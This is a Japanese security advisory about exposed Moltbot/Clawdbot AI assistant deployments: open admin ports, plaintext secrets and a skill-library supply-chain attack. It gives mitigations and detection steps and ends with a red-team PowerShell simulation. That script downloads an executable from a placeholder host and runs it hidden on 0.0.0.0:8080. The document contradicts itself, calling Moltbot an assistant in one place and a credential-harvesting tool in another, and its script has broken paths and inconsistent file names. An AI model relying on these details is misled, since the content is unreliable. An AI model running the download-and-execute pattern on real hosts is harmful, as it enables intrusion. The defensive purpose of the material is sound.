Moltbot／ClawdBotsの流行

概要

この記事は、最初はClawdbotという名称だったAIパーソナルアシスタントに関するセキュリティ問題を指摘しており、後にMoltbotと改名されました。MoltbotはWhatsAppやTelegramなどのメッセージングアプリを通じて操作されますが、多くの導入例ではインターネットから簡単にアクセスでき、認証が弱いか欠如しています。ユーザークレデンシャルはプレーンテキストファイルに書き込まれ、スキルライブラリは攻撃される可能性があり、サプライチェーンへの影響を生み出します。脅威のあるアクターは秘密情報を盗み、ソースコードを持ち出し、アシスタントをバックドアとして再利用することができます。

調査

研究者たちは、認証なしで管理ポートを公開している何百ものMoltbotインスタンスと安全でないプロキシ設定を発見しました。実証実験のサプライチェーン攻撃では、ClawdHubライブラリに悪意のあるスキルをアップロードし、下流ユーザーに対するリモートコマンド実行をデモンストレーションしました。アナリストたちは、機密情報がプレーンテキストのMarkdownやJSONファイルに保存されていることも観察し、RedLine、Lumma、Vidarのような一般的な情報スティーラーにとって容易に狙われることになると指摘しました。

緩和策

オペレーターは、Moltbotサービス全てに対して強力な認証を要求し、管理ポートを閉じるかファイアウォールで保護し、アシスタントをインターネットに公開しないようにすべきです。格納された機密情報に対して暗号化を有効にし、ランタイムをサンドボックス化またはコンテナ化し、ファイルシステムへのアクセスを制限します。ライブラリから引き出したスキルを精査し、署名し、固定し、安全に管理できない場合はスキル機能を無効にすることを検討してください。

対応策

Moltbotへのオープンな管理ポートや認証されていないアクセス試行に対するアラートを発します。AIプロセスの予期しないコマンド実行や未知のC2ドメインへのアウトバウンド接続を監視します。ホストを対象にクレデンシャルを盗むマルウェアがないかスキャンし、保存された設定ファイルの整合性を確認します。侵害が確認された場合は、システムを隔離し、漏洩したクレデンシャルを無効にし、強化された設定でMoltbotを再展開します。

シミュレーション実行

前提条件: テレメトリー & ベースライン プリフライト チェックに合格していること。

• 攻撃ナラティブ & コマンド:
  レッドチームがデプロイする Moltbot (公共の利用可能なクレデンシャル収集ツール) を妥協されたWindowsホストに。デフォルトの設定でMoltbotを起動することで、未認証のHTTP管理コンソールが ポート8080 に開かれ、「Webに公開されている」とバナーで広告されます。これにより、検出ルールのリテラル文字列と一致するネットワーク接続イベントが作成されます。攻撃者は外部IPからUIにアクセスし、露出を確認し、必要なテレメトリーを生成します。

  1. Moltbotをダウンロード (プレースホルダーのzipによってシミュレート)。
  2. バイナリを抽出し、デフォルトのフラグで実行します (--listen 0.0.0.0:8080).
  3. 外部IPからHTTP GETを発行する (によってシミュレート Invoke-WebRequest).

• 回帰テストスクリプト:

  # ----------------------------------------------------
  # Moltbot露出シミュレーション - PowerShell
  # ----------------------------------------------------
  # 1. 一時ディレクトリを作成
  $tempDir = "$env:TEMPMoltbotSim"
  New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
  
  # 2. Moltbot実行ファイルをダウンロードする (プレースホルダー)
  $molExe = "$tempDirmolbot.exe"
  Invoke-WebRequest -Uri "https://example.com/moltbot.exe" -OutFile $molExe -UseBasicParsing
  
  # 3. デフォルト (露出) 設定でMoltbotを実行する
  $proc = Start-Process -FilePath $molExe `
                        -ArgumentList "--listen 0.0.0.0:8080" `
                        -PassThru `
                        -WindowStyle Hidden
  
  Write-Host "[+] Moltbot started (PID: $($proc.Id)) listening on 0.0.0.0:8080"
  
  # 4. ログに登録されるために短期間待つ
  Start-Sleep -Seconds 5
  
  # 5. 外部接続をシミュレートしてネットワークトラフィックを生成
  Try {
      Invoke-WebRequest -Uri "http://$($env:COMPUTERNAME):8080" -UseBasicParsing -TimeoutSec 5
      Write-Host "[+] 外部HTTPリクエストがMoltbot UIに送信されました。"
  } Catch {
      Write-Warning "[-] Moltbot UIに到達できません (ファイアウォールでブロックされている可能性があります)。"
  }
  
  # 6. ロギングのためにプロセスを生かし続ける (オプション)
  Start-Sleep -Seconds 20
  
  # 7. クリーンアップ - Moltbotを停止
  Stop-Process -Id $proc.Id -Force
  Remove-Item -Recurse -Force $tempDir
  Write-Host "[+] Moltbotシミュレーションが完了し、クリーンアップされました。"

• クリーンアップコマンド:

  # 残ったMoltbotプロセスを強制的に終了し、一時ファイルを削除
  Get-Process -Name "molbot" -ErrorAction SilentlyContinue | Stop-Process -Force
  Remove-Item -Path "$env:TEMPMoltbotSim" -Recurse -Force -ErrorAction SilentlyContinue
  Write-Host "クリーンアップが完了しました。"